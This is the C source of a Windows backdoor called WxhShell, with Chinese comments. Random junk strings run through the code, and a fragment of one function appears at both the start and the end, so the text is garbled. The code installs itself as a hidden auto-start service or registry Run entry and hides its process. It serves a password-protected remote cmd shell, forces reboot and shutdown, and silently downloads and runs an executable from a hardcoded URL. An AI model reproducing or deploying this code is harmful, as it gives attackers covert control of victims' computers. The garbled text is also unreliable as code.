(ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pp@O6 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '<{Jlz(u9 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yw1-4*$c
JKV&c=I if (!NtQueryInformationProcess) return 0; 0*E_D Q^bYx (r5w hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mDx=n.lIz if(!hProcess) return 0; ]=ADX} RT|1M"?$ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .$fSWlM; ?Wc+
J4 CloseHandle(hProcess); [kf6bf@ 9yz@hdG hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %n6NVi_[ if(hProcess==NULL) return 0; =0az5td _L+j6N.h1 HMODULE hMod; BbiyyRa char procName[255]; Z/czAr@4 unsigned long cbNeeded; 7=/iFv[ /cT6X]o8 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZUkM8M$c C_Z/7x*>d CloseHandle(hProcess); hn~btu9h N\|BaZ%>| if(strstr(procName,"services")) return 1; // 以服务启动 V!l?FOSZ 4n"6<cO5q return 0; // 注册表启动 ^a<kp69qS } U\(71= +NbiUCMX // 主模块 `hdN 6PgK int StartWxhshell(LPSTR lpCmdLine) }?o4MiLB { v*OV\h. SOCKET wsl; !_FTy^@c2 BOOL val=TRUE; cyo[HI?WM int port=0; XFYa+]B2q struct sockaddr_in door; C^;>HAK|F H+Aidsn if(wscfg.ws_autoins) Install(); =X9fn 70'gVCb port=atoi(lpCmdLine); u=tp80_ aIDv~#l if(port<=0) port=wscfg.ws_port; sF>O=F-7 4jSYR#Hqp` WSADATA data; W*%(J$E if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zdw*
?C wX$|(Y} if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Zl>dBc% setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f >.^7.is door.sin_family = AF_INET; ,"Fl/AjO door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y'5(exW door.sin_port = htons(port); KaX*) P p8 Ao{ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g)R 2V closesocket(wsl); N6v?Qzvi return 1; cg o } &>B"/z :%Oz:YxC/ if(listen(wsl,2) == INVALID_SOCKET) { e"_kH_7sv closesocket(wsl); JEaTDV_ return 1; d14 n> } o2'Wu:Y" Wxhshell(wsl); 8N+T=c WSACleanup(); >c Lh$;l no W]E}nN return 0; |}.}q zvVo-{6 } t0GJ$]) hNhEA $X5 // 以NT服务方式启动 {
0-on"o VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %<!YjJ { +g kJrw DWORD status = 0; [uK{``" DWORD specificError = 0xfffffff; }Z{FPW.QK !l=)$RJKdD serviceStatus.dwServiceType = SERVICE_WIN32; YCQ$X serviceStatus.dwCurrentState = SERVICE_START_PENDING; uT'l.*W6i serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ];lZ:gT serviceStatus.dwWin32ExitCode = 0; reNf?7G+m serviceStatus.dwServiceSpecificExitCode = 0; [sjkm+
? serviceStatus.dwCheckPoint = 0; % P Ex serviceStatus.dwWaitHint = 0; EZN!3y| m g8l6bh$} hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H%X F~tF: if (hServiceStatusHandle==0) return; l?
U!rFRq` Sb> &m status = GetLastError(); pB#I_?( if (status!=NO_ERROR) +wJ!zab` { /Q3\6DCl serviceStatus.dwCurrentState = SERVICE_STOPPED; 0Sz[u\w serviceStatus.dwCheckPoint = 0; s5rD+g]E` serviceStatus.dwWaitHint = 0; @"MQ6u G> serviceStatus.dwWin32ExitCode = status; [8^q3o7n serviceStatus.dwServiceSpecificExitCode = specificError; EEnl' SetServiceStatus(hServiceStatusHandle, &serviceStatus); /aMOZ=,q} return; EwX{i}j_V } w]yVNB B~7!v${ serviceStatus.dwCurrentState = SERVICE_RUNNING; oda, serviceStatus.dwCheckPoint = 0; KbtV> serviceStatus.dwWaitHint = 0; dzBP<Xyh if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &b`W<PAc?4 } D4,>g )B #CaPj:>[ // 处理NT服务事件,比如:启动、停止 :)D7_[i VOID WINAPI NTServiceHandler(DWORD fdwControl) DJ@n$G`^^ { q[C?1Kc.z switch(fdwControl) 9O:l0
l { #XA`n@2Uoo case SERVICE_CONTROL_STOP: g27'il serviceStatus.dwWin32ExitCode = 0; 9aY8`B serviceStatus.dwCurrentState = SERVICE_STOPPED; mHHlm<?] serviceStatus.dwCheckPoint = 0; BkGExz serviceStatus.dwWaitHint = 0; "I)zi]vk { IlB8~{p_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); L/r_MtN } &=BzsBh return; ?q9]H5\ case SERVICE_CONTROL_PAUSE: 4&;iORw&E4 serviceStatus.dwCurrentState = SERVICE_PAUSED; BhzD V break; <y] 67:"<v case SERVICE_CONTROL_CONTINUE: QcW8A ,\q serviceStatus.dwCurrentState = SERVICE_RUNNING; 3_Xu3hNH! break; flo$[]`.7 case SERVICE_CONTROL_INTERROGATE: d_M+W@{ break; w\YS5!P,V }; ,d,2Q SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8ZVQM7O } a
\1QnCy %Qlc?Wl: // 标准应用程序主函数 %:d7Ts&?Z int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h7!O
K { %z-*C'j5H HyU: BW;
// 获取操作系统版本 rO$pj~!|Q OsIsNt=GetOsVer(); =I546($ GetModuleFileName(NULL,ExeFile,MAX_PATH); ;6Yg}L LCH\;07V# // 从命令行安装 w CB*v<* if(strpbrk(lpCmdLine,"iI")) Install(); v={{$=/t KDq="=q // 下载执行文件 o~IAZU39 if(wscfg.ws_downexe) { nYjrEy)Q if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e))L&s WinExec(wscfg.ws_filenam,SW_HIDE); 3@Mh* \;\b } X!ruQem / fk5'v if(!OsIsNt) { <[cpaZT, // 如果时win9x,隐藏进程并且设置为注册表启动 #mw!_]
HideProc(); @m9pb+=v StartWxhshell(lpCmdLine); < ,*\t } {g<D:"Q else $TXxhd 6 if(StartFromService()) ovTL'j! // 以服务方式启动 QMsq4yJ)% StartServiceCtrlDispatcher(DispatchTable); fUkqhqe else 0X5cn 0L^ // 普通方式启动 <.QaOLD StartWxhshell(lpCmdLine); q[a\a7U z uLS]=:BT return 0; fx5S2%f^ } #f2k*8"eAF 8m?(* [[ B#Ybdp ; \D? '.Wo% =========================================== lD0-S0i D4!;*2t V|97; /{i~-DVME
dZ`Y>wH_ @%Ld\8vdfJ " \Y)HSJR;e %Hbq3U30 #include <stdio.h> |l;
Ot=C= #include <string.h> WzN c=@[W #include <windows.h> #T_!-;(Z #include <winsock2.h> #ODP+>-IjB #include <winsvc.h> A-CU%G9 #include <urlmon.h> S} m=|3%y $72eHdy/yl #pragma comment (lib, "Ws2_32.lib") G<$:[ +w #pragma comment (lib, "urlmon.lib") @-!P1]V| #:gd9os : #define MAX_USER 100 // 最大客户端连接数 )=[\Yf K #define BUF_SOCK 200 // sock buffer )t|:_Z #define KEY_BUFF 255 // 输入 buffer lmzHE8MUNu 2!sPgIz #define REBOOT 0 // 重启 c`!e#w #define SHUTDOWN 1 // 关机 \34vE@V* @ep.wW #define DEF_PORT 5000 // 监听端口 N>H@vt~ 3U@jw,K!{A #define REG_LEN 16 // 注册表键长度 ]<>cjk.ya #define SVC_LEN 80 // NT服务名长度 =6[.||9 u?Ffqt9' // 从dll定义API SH?McBxS typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #Q8_:dPY typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f1 x&Fk typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .5
.(S^u typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z@0tZ^V{ ?.46X^ // wxhshell配置信息 _`udd)Y2 struct WSCFG { Z!"-LQJ int ws_port; // 监听端口 k<< x}= char ws_passstr[REG_LEN]; // 口令 VhUWws3E int ws_autoins; // 安装标记, 1=yes 0=no m^3x%ENZ char ws_regname[REG_LEN]; // 注册表键名 1!v{#w{u7 char ws_svcname[REG_LEN]; // 服务名 !/XNp QP char ws_svcdisp[SVC_LEN]; // 服务显示名 !<p,G`r char ws_svcdesc[SVC_LEN]; // 服务描述信息 u5oM;#{@- char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |2j, int ws_downexe; // 下载执行标记, 1=yes 0=no =
j1Jl^[ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >a?Bk4w char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e'3V4iU] ="voJgvw }; Tz @=N] D |H?t+Dyn)q // default Wxhshell configuration _Vr- bpAf struct WSCFG wscfg={DEF_PORT, v76Gwu$d "xuhuanlingzhe", W@T\i2r$z 1, o9eOp3w30 "Wxhshell", [I
*_0 "Wxhshell", |(>`qL{| "WxhShell Service", QoZV6 "Wrsky Windows CmdShell Service", lmeTW0U@9( "Please Input Your Password: ", BiYxI{V FD 1, b)d;eS "http://www.wrsky.com/wxhshell.exe", BDI|z/~& "Wxhshell.exe" [H}>
2Q }; {<,%_pJR :<J7 g`f // 消息定义模块 ^9Pr`\ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :V'99Esv` char *msg_ws_prompt="\n\r? for help\n\r#>"; "v1{ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5kiW@{m char *msg_ws_ext="\n\rExit."; <w2h@ea char *msg_ws_end="\n\rQuit."; }=-0DSLVj char *msg_ws_boot="\n\rReboot..."; '=_(fa, char *msg_ws_poff="\n\rShutdown..."; FiUQ2w4 char *msg_ws_down="\n\rSave to "; ~[ufL25K B0@
Tz39= char *msg_ws_err="\n\rErr!"; e|]e\Or> char *msg_ws_ok="\n\rOK!"; XGl2rX& pm6#azQ char ExeFile[MAX_PATH]; p) 8S]p] int nUser = 0; s;VW
%e HANDLE handles[MAX_USER]; r2=@1=?8 int OsIsNt; ;'7(gAE 4?R979 SERVICE_STATUS serviceStatus; \d@5*q SERVICE_STATUS_HANDLE hServiceStatusHandle; BHY8G06 l0Q5q)U1A // 函数声明 E-z5mX.2 int Install(void); Vu$m1,/ int Uninstall(void); bk0>f int DownloadFile(char *sURL, SOCKET wsh); r<vMp'u int Boot(int flag); ZNQx;51 void HideProc(void); 5CY%h int GetOsVer(void); [neuwdN int Wxhshell(SOCKET wsl); E5ce=$o void TalkWithClient(void *cs); E8PDIjp int CmdShell(SOCKET sock); ^&>B,;Wu int StartFromService(void); 7ch9Pf int StartWxhshell(LPSTR lpCmdLine); mLhM_= /v
8"i^;} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q~N,QMr)k& VOID WINAPI NTServiceHandler( DWORD fdwControl ); 981-[ga`Y -<#)
]um // 数据结构和表定义 Nfa&r SERVICE_TABLE_ENTRY DispatchTable[] = 5XKTb { \,#$,dUXD {wscfg.ws_svcname, NTServiceMain}, l\UjvG {NULL, NULL} `_\KN_-%Vu }; I C [HILK`@@ // 自我安装
enQ*uMKd^ int Install(void) =QqH`.3 { &A0OYV3i. char svExeFile[MAX_PATH]; CHgip&(.F HKEY key; Nr4}x7 strcpy(svExeFile,ExeFile); #V>R#Oh} P 9?cp{* // 如果是win9x系统,修改注册表设为自启动 qf? "v; if(!OsIsNt) { (]]hSkE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !xsfhLZK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *vb"mB RegCloseKey(key); vIV|y>;g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,Z{\YAh1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8b/$Qp4d RegCloseKey(key); YG\#N+D return 0; [IYVrT&C' } c1f"z1Z } :33@y%>L } @Xo*TJB else { $k~TVm
Yex CFbNv9GZj // 如果是NT以上系统,安装为系统服务 c-+NWC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }A3/( if (schSCManager!=0) 7+HK_wNi { $TIeeTB SC_HANDLE schService = CreateService v=llg ^ ( @v)Z>xv schSCManager, xUdF.c wscfg.ws_svcname, YSD G! wscfg.ws_svcdisp, y7HFmGM SERVICE_ALL_ACCESS, '09|Y#F SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (y9KO56.V& SERVICE_AUTO_START, dFz"wvu` o SERVICE_ERROR_NORMAL, 9?l a5 svExeFile, dtTn]}J NULL, 3TwjC:Yhv2 NULL, p2STy\CS NULL, h@%Xy(/m' NULL, 6 >kU Lp NULL
)-2Nc7 ); C~En0 G1 if (schService!=0) 3aqH!?rVU { aXe&c^AR CloseServiceHandle(schService); !l[;,l CloseServiceHandle(schSCManager); F[ E'R.: strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '@{:FrG*U strcat(svExeFile,wscfg.ws_svcname); io#}z4"'qY if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { MPB[~#: RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7b"fpB RegCloseKey(key); |
eBwcC#^ return 0; `J.,dqGb } Sdq}?- &Sa } [Sm<X CloseServiceHandle(schSCManager); Y%
iqSY } @O#!W]6NT6 } Cut~k"lv >_}isCd, return 1; @|Pm%K`1 } _(m72o0g>> D \ rns+ // 自我卸载 |1@O>GG int Uninstall(void) j,YrM?Xdo { tT]@yo|?e/ HKEY key; !#0)`4O j<^!"_G]*? if(!OsIsNt) { 5%,3)H{;t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r^
r+h[V RegDeleteValue(key,wscfg.ws_regname); _}R$h=YD RegCloseKey(key); Z
'5itN^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k~[jk5te RegDeleteValue(key,wscfg.ws_regname); #49l\>1z RegCloseKey(key); <9@n/ return 0; +#IUn } $LXa] } B}"R@;N } i%i~qTN else { opa/+V3E4 #cY[c1cNv SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LLx0X
O@ if (schSCManager!=0) Ca |}i+ { *V&M5 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :2/L1A)O if (schService!=0) !9d7wPUFr { o0r&w;! if(DeleteService(schService)!=0) { B!'K20"gF CloseServiceHandle(schService); 4%0s p CloseServiceHandle(schSCManager); hW*o;o7u return 0; <'\Nv._2a } u&~Xgq5[ CloseServiceHandle(schService); J^+w]2`S } F,_L}
CloseServiceHandle(schSCManager); vobC/m } ".}R$W } V!:!c]8F e:G~P
u` return 1; ai 4 k? } eT%x(P D,IT>^[^7 // 从指定url下载文件 HlE8AbEg int DownloadFile(char *sURL, SOCKET wsh) W?Z>g" { >DRxF5b{ HRESULT hr; @5Tl84@Q char seps[]= "/"; \;7U:Y$v char *token; !8@yi"n char *file; P>_O :xD char myURL[MAX_PATH]; 2Bt/co-~4 char myFILE[MAX_PATH]; u|<?mA! t w4,gW strcpy(myURL,sURL); _9BL7W $; token=strtok(myURL,seps); czRBuo+k+ while(token!=NULL) 9B~&d(Bm { ZA=J`->k file=token; h2Q'5G token=strtok(NULL,seps); I"&cr>\ } {\>4)TA -VohU-6 | GetCurrentDirectory(MAX_PATH,myFILE); &N.pW=%,N strcat(myFILE, "\\"); ;0eVE strcat(myFILE, file); 8~!E.u9w send(wsh,myFILE,strlen(myFILE),0); KR.;X3S} send(wsh,"...",3,0); ?8
}pZ_ j hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); aR2N,<Cp5 if(hr==S_OK) x}2nn)fdZ return 0; SkDr4kds else @!iS`u return 1; (MXy\b< Oti;wf G7o } WB:0}b0Gu f`4=Bl&"{ // 系统电源模块 !oyo_h int Boot(int flag) 0Y oKSo { v7(7WfqP HANDLE hToken; ;Tbo \Wp9 TOKEN_PRIVILEGES tkp; ]]p\1G 3nA^s"#p if(OsIsNt) { #ed|0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sm18u- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jwwRejNV tkp.PrivilegeCount = 1; 8R)K$J$Hm tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @Z/jaAjUC AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F
w{:shC if(flag==REBOOT) { ]v<8l4p; if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hT%fM3|,e return 0; 8i;1JA } _4oAk @A else { ^mC~<pP( if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :uYZ1O return 0; .5 E)dU } ue8 @=} } 2wpJ)t*PF else { 1tbA-+ if(flag==REBOOT) { q&=z^Ln!G if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pCkMm)2g! return 0; ^S|qGu,G } \zU<o~gs else { xR-;,=J if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {)Wf[2zJ return 0; ?Nt( sZ- } pnu?=.O } ]Q FI> B-g uz[v return 1; ql9n`?Q } Sk
EI51] ?[#w*Am7 // win9x进程隐藏模块 TJYhgna void HideProc(void) e,Cc.T\o { _V3z!aI u'? +JUd1 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E$lbm>jsb$ if ( hKernel != NULL ) '7oR|I { l4DBGZB pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q=^;lWs4 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qBF|' .$^ FreeLibrary(hKernel); 9ug4p'] } hV $Zr4' ";dS~(~ return; \asn^V@"zz } 2lfEJw($ M*k,M=sX // 获取操作系统版本 NtGJpT4YX int GetOsVer(void) aMu6{u6 { -f ? OSVERSIONINFO winfo; nU= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Lvt3S
.l GetVersionEx(&winfo); nHF66,7t if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,|O6<u9 return 1; T}J)n5U}\ else QcWg return 0; @@@}FV& } !{,2uQXe >Ec;6V
e // 客户端句柄模块 ?9xWTVa8 int Wxhshell(SOCKET wsl) Lp%J:ogV` { (6/aHSXI SOCKET wsh; C_3,|Zq?| struct sockaddr_in client; 3` IR
^ DWORD myID; !hJ!ck]M 7/M[T\c while(nUser<MAX_USER) O-.G(" { )09ltr0@" int nSize=sizeof(client); ?h1g$SBxk wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w3i74C&0 if(wsh==INVALID_SOCKET) return 1; h>>~B i - 5v{p handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @u$NB3 if(handles[nUser]==0) R{[v#sF ># closesocket(wsh); E4=D$hfq` else ("(wap~<nD nUser++; HJb^l 4Q } !d 4DTo
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^KD1dy3( x
[vbi return 0;
n?c[ E+i; } |L89yjhWBs pFs/ipZX^* // 关闭 socket ,2 xD>+= void CloseIt(SOCKET wsh) t"9r`0> { mph9/ %]S closesocket(wsh); s/t,6-~EH nUser--; zk1]? ExitThread(0); ZUj1vf6I } \0Xq&CG=E -+i7T^@| // 客户端请求句柄 -p0*R<t void TalkWithClient(void *cs) c0l?+:0M { HoX={^aG% S
-,$ ( SOCKET wsh=(SOCKET)cs; f/z]kfgw char pwd[SVC_LEN]; >mtwXmI char cmd[KEY_BUFF]; Zqf
ovG char chr[1]; IR3+BDE)> int i,j; N`d%4)|{ _s<BXj while (nUser < MAX_USER) { 'A3*[e|OS n4B
uM R if(wscfg.ws_passstr) { ,Y|
;V if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G,+3(C //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D'%M#S0 //ZeroMemory(pwd,KEY_BUFF); -`\n/"#X6i i=0; CXuMNa while(i<SVC_LEN) { 9]T61Z{OW1 :3s^, g // 设置超时 ci+ajON fd_set FdRead; >`[+24e struct timeval TimeOut; &*8.%qe; FD_ZERO(&FdRead); $mf O:% FD_SET(wsh,&FdRead); DD TimeOut.tv_sec=8; CX2qtI8N? TimeOut.tv_usec=0; FQ0 ;%Z int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d~6UJ=]@8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N/#x "5ISKuL if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9Y:.v@:}0 pwd=chr[0]; 6shN% if(chr[0]==0xd || chr[0]==0xa) { ;P}007; pwd=0; X%og}Cfi break; sEKF } E:B<_ i++; !]fSS)\H } XR<g~&h ,dosF Q // 如果是非法用户,关闭 socket xY.?OHgG/ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =b"{*Heuw } J0f!+]~G3 =eS?`| send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0dsL%G~/N send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RH7!3ye zFDtC-GF while(1) { lSoAw-@At8 '"c`[L7Wn ZeroMemory(cmd,KEY_BUFF); x
<aR|r _V8;dv8 // 自动支持客户端 telnet标准 -glGOTk j=0; I!(BwYd while(j<KEY_BUFF) { ttB>PTg# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *2.h*y'u cmd[j]=chr[0]; ]R!YRu if(chr[0]==0xa || chr[0]==0xd) { u] G cmd[j]=0; `SZ-o{ break; r?
}|W2^% } eA``fpr j++; !,Cbb } } "
o3Hd * RX^ z6 // 下载文件 8df| 9E$ if(strstr(cmd,"http://")) { b?!S$S xz send(wsh,msg_ws_down,strlen(msg_ws_down),0); +Y;hVcE9 if(DownloadFile(cmd,wsh)) )lz)h*%# send(wsh,msg_ws_err,strlen(msg_ws_err),0);
x|c_( else Hj `\Fm*A send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cdGBo4 } {KK/mAp{ else { ZP@NV|B De{ZQg) switch(cmd[0]) { .!+7|us8l\ ,h/l-#KS // 帮助 8}AWU case '?': { =HV${+K=~ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0`v-pL0| break; #Jp|Cb<qx } n{{"+;oR // 安装 rXBCM case 'i': { +M#}(hK if(Install()) A@:U|)+4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nq6;
z)$ else !I&,!$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P1^|r} break; 3xdJ<Lrq } Q Wc^}#!! // 卸载 QUZ+#*:s case 'r': { \hEIQjfi if(Uninstall()) qu'D"0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); iweT@P` else XWNo)#_3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2AMb-&po&f break; QctzIC#;k } 35x]' // 显示 wxhshell 所在路径 n0EW
U,1 case 'p': { DSq?|H char svExeFile[MAX_PATH]; @,2,(=l*C strcpy(svExeFile,"\n\r"); D#`>p strcat(svExeFile,ExeFile); 0%q H=do6 send(wsh,svExeFile,strlen(svExeFile),0); se]&)%p[ break; -0]%#(E%`h } ?1O`
Rd{tn // 重启 BG.sHI{ case 'b': { Z.x]6 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f<|*^+ if(Boot(REBOOT)) 3zc;_U2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jt<J#M<}7 else { 5')]Y1J closesocket(wsh); xsy45az<ip ExitThread(0); IDpx_ } Bga4kjfmk break; L.JL4;U P } \D]9:BNJ // 关机 vSv1FZu* case 'd': { >Y+m54EE send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gNDMJ^` if(Boot(SHUTDOWN)) t.
(6tL] send(wsh,msg_ws_err,strlen(msg_ws_err),0); =8rNOi else { {9Ok^O closesocket(wsh); Mc(|+S@w' ExitThread(0); PRFl%M.H` } wuk\__f4 break; z!.cc6R } @6aJh< c // 获取shell <$a-.C5 case 's': { Y}Dk>IG CmdShell(wsh); ?4aW^l6/ closesocket(wsh); P3Vh|<'7 ExitThread(0); -yBj7F| break; h^1!8oOYD } \I<R.49oW // 退出 "Y4glomR[ case 'x': { pp7
$Q>6 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [gZR}E CloseIt(wsh); gh
:5 break; JR&yaOws } 5v`lCu] // 离开 BgDWl{pm case 'q': { x%[NK[^& send(wsh,msg_ws_end,strlen(msg_ws_end),0); hsYE&Np_Q closesocket(wsh); .=d40m WSACleanup(); Je2&7uR0 exit(1); !#*#ji xo break; BpX` 49 } fBz|-I:k
+ } $e,r>tgD } j+q) cD)9EFo // 提示信息 H5
:,hrZY if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WU@_aw[ } >ZeARCf"f } TXf60{:f Z5*(xony0 return; -AolW+Y } y9LO;{( M&gi$Qs[E // shell模块句柄 /eXiWa sQ int CmdShell(SOCKET sock) WSv%Rxr8L { $;~YgOVZ5 STARTUPINFO si; F;kKn:X L ZeroMemory(&si,sizeof(si)); )`ixT) si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VN\VTSZh?\ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rl$"~/ oz PROCESS_INFORMATION ProcessInfo; :O,r3O6 char cmdline[]="cmd"; #`K {vj CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ue@W@pj return 0; jt9- v- } >ke.ZZV? oR,zr // 自身启动模式 _iEnS4$A8 int StartFromService(void) "O|.e`C%^ { }; M@JMu, typedef struct :=5X)10 { $/@
L DWORD ExitStatus; !y>up+cRjl DWORD PebBaseAddress; 4i}nk
T DWORD AffinityMask; q4G$I?4 DWORD BasePriority; X Z3fWcw[ ULONG UniqueProcessId; W,H=K##6< ULONG InheritedFromUniqueProcessId; 'Nuy/\[{\ } PROCESS_BASIC_INFORMATION; P{:Z xli0 w:iMrQeJg PROCNTQSIP NtQueryInformationProcess; ,=c(P9}^ Q>9bKP static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %X}vuE[[UC static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j8PeO&n> !>=lah$& HANDLE hProcess; #n15_cd PROCESS_BASIC_INFORMATION pbi; SD:`l<l ^q0`eS HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4sRg+mMI if(NULL == hInst ) return 0; }m%&|:PH }A;YM1^$ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F< 5kcu#iL g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;T8(byH ? NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S#He OPRL i "X" -)# if (!NtQueryInformationProcess) return 0; #3{}(T7 ~x+'-2A46 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wJp1Fl~ if(!hProcess) return 0; I|>.&nb J7aYi]vI if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /me ]sOkn pFZ$z?lI CloseHandle(hProcess); TX@ed 9^`cVjD5 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &,:!gYN if(hProcess==NULL) return 0; >&R@L KP *//z$la HMODULE hMod; `kv7Rr}Q char procName[255]; ["Tro;K# unsigned long cbNeeded; #CAZ}];Qx _*8 6 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }u$c*} 